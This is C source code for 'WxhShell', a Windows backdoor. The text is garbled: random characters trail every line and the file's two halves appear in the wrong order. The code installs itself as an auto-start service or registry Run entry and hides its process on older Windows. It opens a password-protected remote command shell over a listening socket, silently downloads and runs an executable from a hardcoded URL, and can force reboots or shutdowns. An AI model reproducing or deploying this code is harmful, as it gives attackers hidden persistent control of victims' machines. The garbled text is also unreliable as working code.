    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]X:{y&g(  
    else { 4::>Ca^{  
    closesocket(wsh); @Y/PvS8!  
    ExitThread(0); ]LFY2w<  
    } Z]$RO  
    break; [ emUyF  
    } j, SOL9yg  
  // 获取shell n@pm5f  
  case 's': { `v*UY  
    CmdShell(wsh); l0c ws`V  
    closesocket(wsh); f wN  
    ExitThread(0); + y!B`'J  
    break; AJ'YkSg  
  } R[eQ}7;+  
  // 退出 Evd>s  
  case 'x': { L2s)B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }}a<!L,{  
    CloseIt(wsh); @\[UZVmBw  
    break; "%O,*t  
    } w(w%~;\kLP  
  // 离开 d4"KM+EP?  
  case 'q': { 3kxI'0&T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GarPnb  
    closesocket(wsh); FA 1E`AdU  
    WSACleanup(); LOY+^  
    exit(1); U#oe8(?#  
    break; R} nY8zE  
        } qXPT1%+)y  
  } zz ^2/l  
  } "0pH@_8o{  
B_FfXFQm<  
  // 提示信息 f =H,BQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4:$?u}9[:[  
} :3qA7D}  
  } &1hJ?uM01  
]=A=VH&  
  return; 28l",j)S  
} ],ow@}  
,BM6s,\  
// shell模块句柄 9*!C|gC9Ia  
int CmdShell(SOCKET sock) 3VJoH4E!6  
{ nQ\ +Za==  
STARTUPINFO si; lQs|B '  
ZeroMemory(&si,sizeof(si)); bP;cDQ(g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8i!~w 7z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uq;,h46ki  
PROCESS_INFORMATION ProcessInfo; H \ $04vkR  
char cmdline[]="cmd"; kc&>l (  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RulZh2C  
  return 0; n7~!klF-  
} 0mB]*<x8  
*wW/nr=\;  
// 自身启动模式 &gc8"B@V  
int StartFromService(void) l6b3i v,  
{ VFN\ Ryd  
typedef struct `r"euO r\  
{ 846j<fE  
  DWORD ExitStatus; cnAwoTt4  
  DWORD PebBaseAddress; 'U<-w$!f+^  
  DWORD AffinityMask; Lu&2^USTO  
  DWORD BasePriority; &wj;:f  
  ULONG UniqueProcessId; ,RFcR[ak  
  ULONG InheritedFromUniqueProcessId; lhm=(7Y  
}   PROCESS_BASIC_INFORMATION; wI +oG  
c1j)  
PROCNTQSIP NtQueryInformationProcess; /ZAS%_as  
-Z&6PT7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #84pRU~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D$k40Mz  
kq6K<e4jO  
  HANDLE             hProcess; 0dhJ# [Y  
  PROCESS_BASIC_INFORMATION pbi; ZOl =zn  
9OB[ig  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2#Fc4RR;  
  if(NULL == hInst ) return 0; Ij>x3L\-  
>j1\]uo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ehO@3%z30c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O~F/pJN`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;u LD_1%  
'tK5s>gv<  
  if (!NtQueryInformationProcess) return 0; se](hu~w  
;czMsHu0X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iqCKVo7:M  
  if(!hProcess) return 0; hx$-d}W{  
Qg+0(odd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4ew|5Zex.~  
T*>n a8W  
  CloseHandle(hProcess); _H|c _  
zECdj'/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =p>"PqJ/7n  
if(hProcess==NULL) return 0; P/._ tQu6  
y|!%C-P  
HMODULE hMod; Xui${UYN  
char procName[255]; gkS#=bv9e@  
unsigned long cbNeeded; | ]`gps  
U6qv8*~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @L|X('i  
!Y_"q^5GG'  
  CloseHandle(hProcess); iK%<0m  
0N.tPF}  
if(strstr(procName,"services")) return 1; // 以服务启动 Xr~6_N{J  
h d1H  
  return 0; // 注册表启动 yvo~'k#c  
} '01H8er  
|i-Qfpn  
// 主模块 xKKL4ws  
int StartWxhshell(LPSTR lpCmdLine) D3yG@lIP3  
{ ~1YL  
  SOCKET wsl; *&B1(&{:V  
BOOL val=TRUE; tYyva  
  int port=0; 2X2,( D!  
  struct sockaddr_in door; GP ;c$pC  
\s Fdp!M}2  
  if(wscfg.ws_autoins) Install(); N1WP  
j.4oYxK!s/  
port=atoi(lpCmdLine); cA ;'~[  
zcItZP  
if(port<=0) port=wscfg.ws_port; W5?F?Dp!v  
z<rdxn,9  
  WSADATA data; pmXx2T#=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wzB*M}3  
S4kGy}{+i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RsU=fe,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +uW$/_Y$  
  door.sin_family = AF_INET; N)A?*s'v~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qWe1`.o  
  door.sin_port = htons(port); CtVY;eG  
,LZ6Wu$P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L1*P<Cb  
closesocket(wsl); ^ pMjii8IZ  
return 1; _GK^7}u  
} Q17"hO>kC  
{ 'Hi_b3  
  if(listen(wsl,2) == INVALID_SOCKET) { Fa^5.p  
closesocket(wsl); i](,s.  
return 1; Ojp)OeF\  
} DR/qe0D  
  Wxhshell(wsl); u3kK!2cdP  
  WSACleanup(); UC^&& 2maI  
[.B)W);  
return 0; _lb ^  
12Qcjj%F*  
} ]9)pFL  
S{j|("W"[  
// 以NT服务方式启动 H V<|eL #  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tA$,4B?  
{ I.tJ4  
DWORD   status = 0; BQ[1,\>  
  DWORD   specificError = 0xfffffff; ` =dD6r  
PaV[{ CD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &oiX/UaY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @Fqh]1t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (6z^m?t?  
  serviceStatus.dwWin32ExitCode     = 0; exV6&bdu  
  serviceStatus.dwServiceSpecificExitCode = 0; wXDF7tJh  
  serviceStatus.dwCheckPoint       = 0; t$r^'ZN  
  serviceStatus.dwWaitHint       = 0; XETY)<g  
3tI=? E#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8rXq-V_u  
  if (hServiceStatusHandle==0) return; &/R@cS6}'  
C.s{ &  
status = GetLastError(); @/yRE^c  
  if (status!=NO_ERROR) lDV8<  
{ g^8dDY[%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]4\^>  
    serviceStatus.dwCheckPoint       = 0; `LH!"M  
    serviceStatus.dwWaitHint       = 0; -2|D( sO  
    serviceStatus.dwWin32ExitCode     = status; >yUThhJRn  
    serviceStatus.dwServiceSpecificExitCode = specificError; dra'1E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wKum{X8  
    return; 0t5>'GYX  
  } I*@\pc}  
HKq 2X4J$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @8Drhx  
  serviceStatus.dwCheckPoint       = 0; (p`'Okw  
  serviceStatus.dwWaitHint       = 0; C=@BkneQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zy4AFW  
} &d`Umm]  
rMSB|*_  
// 处理NT服务事件,比如:启动、停止 xPb;_~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Km]N scq1  
{ JWy$` "{  
switch(fdwControl) '*!R gbj;  
{ *jGB/ y  
case SERVICE_CONTROL_STOP: [6 wI22  
  serviceStatus.dwWin32ExitCode = 0; [V{JuG;s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u_@%}zo?5*  
  serviceStatus.dwCheckPoint   = 0; K7<'4i~k  
  serviceStatus.dwWaitHint     = 0; jd l1Q<Z  
  { =nFT0];  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nSsVONHfa  
  } s8}:8  
  return; M ^ ZoBsZ  
case SERVICE_CONTROL_PAUSE: Y_>z"T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BzF.KCScs  
  break; J[YA1  
case SERVICE_CONTROL_CONTINUE: v6oPAqj,r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; riZFcVsB  
  break; t2p/NIn  
case SERVICE_CONTROL_INTERROGATE: ]~8bh*,=  
  break; >?'q P ]  
};  g}Hk4+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tzi+A;>c(v  
} WRh&4[G'  
&[*_ -  
// 标准应用程序主函数 X~0l1 @!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |/arxb&  
{ aen(Mcd3bg  
8jqt=}b  
// 获取操作系统版本 2P$lXGjh  
OsIsNt=GetOsVer(); 5YC56,X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I.R3?+tZ  
10}oaL S  
  // 从命令行安装 =G}_PRn  
  if(strpbrk(lpCmdLine,"iI")) Install(); =/6.4;8  
|{PQ0DS  
  // 下载执行文件 k}ps-w6:  
if(wscfg.ws_downexe) { }yx{13:[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cLr? B;FS  
  WinExec(wscfg.ws_filenam,SW_HIDE); B_hob  
} (m)%5*:  
$DA0lY\  
if(!OsIsNt) { #H O\I7m  
// 如果时win9x,隐藏进程并且设置为注册表启动 z(.$>O&6H  
HideProc(); z$ysp!  
StartWxhshell(lpCmdLine); KyXgw  
} @E O #Ms  
else ||`w MWq  
  if(StartFromService()) ><LIOFqsS  
  // 以服务方式启动 Z<jRZH*L  
  StartServiceCtrlDispatcher(DispatchTable); {N)\It  
else 1GOa'bxm  
  // 普通方式启动 Cb=r8C  
  StartWxhshell(lpCmdLine); oge^2  
Ep5lm zg  
return 0; vlyq2>TfR  
} (n"  )  
8o-?Y.2  
]~WP;o  
:m#vvH  
=========================================== vR,HCI  
hp-< 8Mf  
,z1# |Y  
n/$BdFH  
C^n L{ZP,  
G8u8&|  
" ^l$(-#'y  
Y D.3FTNGC  
#include <stdio.h> [ R~+p#l+Q  
#include <string.h> h4?+/jk7  
#include <windows.h> f@LUp^Z/v  
#include <winsock2.h> EyBdL  
#include <winsvc.h> 15yIPv+5  
#include <urlmon.h> T d;e\s/]  
 Xid>8  
#pragma comment (lib, "Ws2_32.lib") Ub3,x~V  
#pragma comment (lib, "urlmon.lib") W**=X\"'  
Vaha--QB  
#define MAX_USER   100 // 最大客户端连接数 <ya'L&  
#define BUF_SOCK   200 // sock buffer /@3+zpaw X  
#define KEY_BUFF   255 // 输入 buffer #H!~:Xu   
(R6ZoBZ  
#define REBOOT     0   // 重启 S<Q1 &],  
#define SHUTDOWN   1   // 关机 <(f4#B P  
4 T^M@+&|  
#define DEF_PORT   5000 // 监听端口 jQb=N%5s  
~%<PEl|  
#define REG_LEN     16   // 注册表键长度 {q}: w{x9u  
#define SVC_LEN     80   // NT服务名长度 3M%EK2,  
_KZ(Yq>SdY  
// 从dll定义API ="A[*:h C"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); } \823 U %  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); an5Ss@<4AA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4aV3x&6X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *s%s|/  
6,@M0CX  
// wxhshell配置信息 aNq Vs|H  
struct WSCFG { Lvp/} /H/  
  int ws_port;         // 监听端口 >p<( CVX[  
  char ws_passstr[REG_LEN]; // 口令 OW-+23)sj  
  int ws_autoins;       // 安装标记, 1=yes 0=no F)gL=6h  
  char ws_regname[REG_LEN]; // 注册表键名 Qb(CH  
  char ws_svcname[REG_LEN]; // 服务名 5Q%#Z L/'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y\op9 Fw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E_H1X'|qS4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qL'3MY.!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W2<X 5'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I?fE=2}9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :lE7v~!Z  
3zl!x  
}; _p_F v>>:  
UoLO#C0i  
// default Wxhshell configuration #e|eWi>  
struct WSCFG wscfg={DEF_PORT, iEU(1?m2-  
    "xuhuanlingzhe", ze 4/XR  
    1, ?BLOc;I&a  
    "Wxhshell", 26Yg?:kP  
    "Wxhshell", >)N#n`  
            "WxhShell Service", Xs!eV  
    "Wrsky Windows CmdShell Service", plf<O5'  
    "Please Input Your Password: ", JHQ8o5bEQp  
  1, .1pEq~>  
  "http://www.wrsky.com/wxhshell.exe", yr=r? h}  
  "Wxhshell.exe" VKs\b-1  
    }; J BwTmOvQ  
/C(L(X  
// 消息定义模块 xJ"KR:CD>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {[s<\<~B*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cYp}$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z ZiS$&NK8  
char *msg_ws_ext="\n\rExit."; )`Fr*H3{  
char *msg_ws_end="\n\rQuit."; mi-\PD>X  
char *msg_ws_boot="\n\rReboot..."; JNu- z:J  
char *msg_ws_poff="\n\rShutdown..."; S1B/ClKWq  
char *msg_ws_down="\n\rSave to "; m_Rgv.gE^  
HAiUFO/R  
char *msg_ws_err="\n\rErr!"; TtvS|09p;  
char *msg_ws_ok="\n\rOK!"; E$1^}RGT)  
9:Y:Vx  
char ExeFile[MAX_PATH]; [%@zH  
int nUser = 0; cr/|dc'  
HANDLE handles[MAX_USER]; H 0h  
int OsIsNt; ^s?wnEo;j  
O[`Ob6Q{F  
SERVICE_STATUS       serviceStatus; >ciq4H43Q|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :rj78_e9  
7'8O*EoB'  
// 函数声明 -m @s 9k  
int Install(void); 1]<!Xuk^f  
int Uninstall(void); 9F-k:hD |  
int DownloadFile(char *sURL, SOCKET wsh); x)?\g{JH  
int Boot(int flag); ms{R|vU%b  
void HideProc(void); oF>GWst TR  
int GetOsVer(void); E??%)q  
int Wxhshell(SOCKET wsl); e"2QV vB  
void TalkWithClient(void *cs); FjydEV  
int CmdShell(SOCKET sock); #<~f~{x  
int StartFromService(void); F9<OKcXH  
int StartWxhshell(LPSTR lpCmdLine); Ya_6Zd4O  
roA1= G\Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OMZT\$9yT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4tC_W!?$t  
g}D$`Nx:  
// 数据结构和表定义 K@i*Nl  
SERVICE_TABLE_ENTRY DispatchTable[] = BmM,vllO  
{ 7^iAc6QSy3  
{wscfg.ws_svcname, NTServiceMain}, *Q>:|F[vM  
{NULL, NULL} j*zK"n  
}; M'HOw)U  
b1#=q0Zl  
// 自我安装 t#q> U%!  
int Install(void) Ocb2XEF  
{ "h2Ny#  
  char svExeFile[MAX_PATH]; c]]F`B  
  HKEY key; s6D-?G*u%8  
  strcpy(svExeFile,ExeFile); H94.E|Q\+  
s/^k;qw  
// 如果是win9x系统,修改注册表设为自启动 kmoJ`W} N  
if(!OsIsNt) { Z])_E 6.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9,W-KM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); % n{W  
  RegCloseKey(key); ${+.1"/[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /OP*ARoC21  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'l:2R,cP  
  RegCloseKey(key); 4yA`);r62  
  return 0; .}E)7"Qi,  
    } m@@QT<  
  } HFr3(gNj@  
} Wy4^mOv  
else { A|J\X=5  
OGFKc#  
// 如果是NT以上系统,安装为系统服务 k~R[5W|'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [FL I+;gY  
if (schSCManager!=0) /4?`F} 7)  
{ ]cr;PRyv  
  SC_HANDLE schService = CreateService W,~1KUTc  
  ( s2v*  
  schSCManager, k~#|8eLv  
  wscfg.ws_svcname, Q8x{V_Pot  
  wscfg.ws_svcdisp, K5>:Wi Y  
  SERVICE_ALL_ACCESS, @QG1\W'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S:YL<_oI|  
  SERVICE_AUTO_START, j 7 URg>i0  
  SERVICE_ERROR_NORMAL, q?L(V+X  
  svExeFile, _);Kb/  
  NULL,  ?~.&Y  
  NULL, {wP|b@(1t  
  NULL, bY~v0kg  
  NULL, 'EV  *-_k  
  NULL G C'%s  
  ); lc-|Q#$3$  
  if (schService!=0) Xt =bc  
  { E<uOk  
  CloseServiceHandle(schService); QZr<=}   
  CloseServiceHandle(schSCManager); 9C;Y5E~'L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uw=Ube(  
  strcat(svExeFile,wscfg.ws_svcname); P;%QA+%7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hz8`)cv`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f'OvG@  
  RegCloseKey(key); n*~   
  return 0; ef&@aB  
    } %KF:- w  
  } h<;[P?z  
  CloseServiceHandle(schSCManager); ap^=CEf   
} Q ~JKKq  
} >8fH5  
1omvE9 %zM  
return 1; >UY_:cW4%m  
} 9M]"%E!s  
|"qB2.[  
// 自我卸载 ~C'nBV  
int Uninstall(void) FH8mK)  
{ `uVW<z{ l  
  HKEY key; ;6nZ  
b:Kw_Q  
if(!OsIsNt) { b U]N^og^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ==1/N{{R  
  RegDeleteValue(key,wscfg.ws_regname); i8_x1=A  
  RegCloseKey(key); U!:!]DX(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oxQID  
  RegDeleteValue(key,wscfg.ws_regname); %:KV2GP  
  RegCloseKey(key); WgJAr73 l  
  return 0; q_y,j&  
  } DXW?;|8)O  
} ;-pvc<_c<  
} qYZ7Zt;  
else { Q5nyD/k4c  
3D{4vMm X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^:DhHqvK  
if (schSCManager!=0) Pmlgh&Z  
{ QX.6~*m1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %K'*P56  
  if (schService!=0) m}[~A@qD  
  { AH'4H."o/9  
  if(DeleteService(schService)!=0) { A}bHfn|  
  CloseServiceHandle(schService); eD{ @0&   
  CloseServiceHandle(schSCManager); 8='21@wrN  
  return 0; <nTmZ-;  
  } ef}E.Bl  
  CloseServiceHandle(schService); 3 9{"T0  
  } eM=)>zl  
  CloseServiceHandle(schSCManager); '0')6zW5s  
} c48J!,jCd'  
} %;(|KrUN  
_~ZQ b  
return 1; xPMyG);  
} _:X|R#d  
* \o$-6<  
// 从指定url下载文件 N~; khS]  
int DownloadFile(char *sURL, SOCKET wsh) hLbT\J`I  
{  zc/%1  
  HRESULT hr; >Ug?O~-  
char seps[]= "/"; &1E~ \8U  
char *token; MIlCUk  
char *file; XDdcq]*|  
char myURL[MAX_PATH]; @=NVOJy}c  
char myFILE[MAX_PATH]; e*2&s5 #RT  
(Ef2 w[ '  
strcpy(myURL,sURL); f:[d]J|  
  token=strtok(myURL,seps); w}W@M,.^  
  while(token!=NULL) &O6;nJEI  
  { m/hi~. D9  
    file=token; y|;8:b32  
  token=strtok(NULL,seps); ?FV7|)f  
  } dD^_^'i  
'+!S|U,{  
GetCurrentDirectory(MAX_PATH,myFILE); O/Mz?$8J  
strcat(myFILE, "\\"); J4[x,(iq(  
strcat(myFILE, file); / }XsuH  
  send(wsh,myFILE,strlen(myFILE),0); 1%hM8:)i_  
send(wsh,"...",3,0); r($_>TS&"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); foz5D9sQ  
  if(hr==S_OK) kyxSIQ^  
return 0; ?$J7%I@  
else |c oEBFG  
return 1; F7Dc!JNa  
-S,ir  
} 2&gVZz  
!/4 V^H  
// 系统电源模块 rX!+@>4_L  
int Boot(int flag) 1 x\VdT  
{ &=z1$ih>2\  
  HANDLE hToken; o7Cnyy#:  
  TOKEN_PRIVILEGES tkp; lv00sa2z  
F8S~wW=\w  
  if(OsIsNt) { fs rg2:kQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +(<n |~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <RoX|zJw  
    tkp.PrivilegeCount = 1; 20/P M9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i|c`M/) h:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :!I)r$  
if(flag==REBOOT) { JMirz~%ib  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pY)j0tdd  
  return 0; jA-5X?!In  
} RD6h=n4B  
else { g<2lPH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r%y;8$/-  
  return 0; mo|PrLV  
} #FqFH>-*2  
  } 4>$ ;gH  
  else { ^p"4)6p-W  
if(flag==REBOOT) { h\=p=M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h/1nm U]  
  return 0; hsHVX[<5`  
} D%jD 8p  
else { }RA3$%3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) foFg((tS  
  return 0; \3Q:K |  
} +EST58  
} mmrW`~-  
"[Qb'9/Jc  
return 1; =j|v0& AGC  
} t,=@hs hN  
x2j /8]'o  
// win9x进程隐藏模块 (o x4K{  
void HideProc(void) X(r)Z\  
{ *Z]5!$UpC  
mJ8{lXq3!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {t844La"  
  if ( hKernel != NULL ) P"R97#C  
  { _.d}lK3$2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \3H<z@;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (30<oE{  
    FreeLibrary(hKernel); t$]&,ucW#  
  } ,bZ"8Z"lss  
qJ{r!NJJ 8  
return; _HWHQF7  
} HA^jk%53  
U^M@um M  
// 获取操作系统版本 E8T"{ R80  
int GetOsVer(void) !j!Z%]7  
{ e9~cBG|  
  OSVERSIONINFO winfo; ~K5Cr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =bs.2aN&^  
  GetVersionEx(&winfo); {BFT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F5N>Uqr*oN  
  return 1; [{S;%Jj*X/  
  else ?%cn'=>ZI  
  return 0; -yX.Jv  
} CRZi;7`*1  
I@3Q=14k%  
// 客户端句柄模块 Z:# .;wA  
int Wxhshell(SOCKET wsl) )"(V*Z  
{ g2g`,"T  
  SOCKET wsh; X'V+^u@W  
  struct sockaddr_in client; sg3h i"Im  
  DWORD myID; N<KKY"?I'  
{PN:bb  
  while(nUser<MAX_USER) \We"?1^  
{ PHQ{-b?4t  
  int nSize=sizeof(client); $.oOG"u0]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0s 860Kn  
  if(wsh==INVALID_SOCKET) return 1; La`h$=#`  
wzD\8_;6N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2}^+ ]5  
if(handles[nUser]==0) 9 '2=  
  closesocket(wsh); GN\8![J  
else wl7 MfyU  
  nUser++; !2GHJHxv]c  
  } xK$}QZ)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ixOEdQ  
Y3-]+y%l  
  return 0; q{a#HnZo"  
} e{,!|LhpQ  
Z:I*y7V-  
// 关闭 socket }Q/G &F  
void CloseIt(SOCKET wsh) ^F>4~68d  
{ ~_ *H)|  
closesocket(wsh); 9aTL22U?  
nUser--; %lXbCE:[  
ExitThread(0); F|ETug n  
} Jzk!K@  
Y{,2X~ 7  
// 客户端请求句柄 ?V#Gx>\  
void TalkWithClient(void *cs) 'eqiYY|  
{ i4hJE  
n4^*h4J7  
  SOCKET wsh=(SOCKET)cs; {UP'tXah  
  char pwd[SVC_LEN]; aQ&uC )w  
  char cmd[KEY_BUFF]; `koOp  
char chr[1]; 0r1g$mKb  
int i,j; -Bj.hx*  
f.@Xjf  
  while (nUser < MAX_USER) { BRe{1i 6  
R"NGJu9  
if(wscfg.ws_passstr) { >OT \~C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LRWOBD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5!<o-{J[(=  
  //ZeroMemory(pwd,KEY_BUFF); #-,g&)`]  
      i=0; S2ark,sp6  
  while(i<SVC_LEN) { Zotz?j VVr  
uii7b 7[w  
  // 设置超时 YZ0en1ly  
  fd_set FdRead; Z*9L'd"D|  
  struct timeval TimeOut; W3^.5I  
  FD_ZERO(&FdRead); e{5,'(1]  
  FD_SET(wsh,&FdRead); Hfke  
  TimeOut.tv_sec=8; |Z d]= tue  
  TimeOut.tv_usec=0; moCK- :  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m)r]F#@/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pqJ)G;%9  
5)mVy?Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \ [cH/{nt  
  pwd=chr[0]; Y=9j2 ]t  
  if(chr[0]==0xd || chr[0]==0xa) { 4KE)g  
  pwd=0; UIn^_}jF`  
  break; ?gLAWz  
  } =qw &dwIQ  
  i++; V7P6zAJy  
    } oB4#J*   
.vK.XFZ8R  
  // 如果是非法用户,关闭 socket qh$X^%g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c )03Ms4 D  
} _D-5}a"  
3g;T?E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )`<6taKx@n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @YCv  
zHV|-R  
while(1) { L%f;J/  
)U'yUUi  
  ZeroMemory(cmd,KEY_BUFF); IdF$Ml#[h  
4Hk6b09  
      // 自动支持客户端 telnet标准   r ^MiRa  
  j=0; HM):"  
  while(j<KEY_BUFF) { y<|)'(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h`lmC]X _  
  cmd[j]=chr[0]; lcCJ?!lsSW  
  if(chr[0]==0xa || chr[0]==0xd) { 6%%PP8.F  
  cmd[j]=0; d Qai4e>[  
  break;  [@<G+j  
  } Y xJ`-6  
  j++; ~Zmi(Ra  
    } v~}5u 5 $O  
YwXXXh  
  // 下载文件 N#UXP5C(  
  if(strstr(cmd,"http://")) { b_vVB`>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P% Q@9kO>  
  if(DownloadFile(cmd,wsh)) t=i/xG:5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qC..\{z  
  else V}SyD(8~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0V3gKd7  
  } 7 WP%J-   
  else { xorTL8  
T/5"}P`  
    switch(cmd[0]) { <raG07{!*  
  V!xwb:J  
  // 帮助 8?1o<8hV  
  case '?': { Ft) lp>3gv  
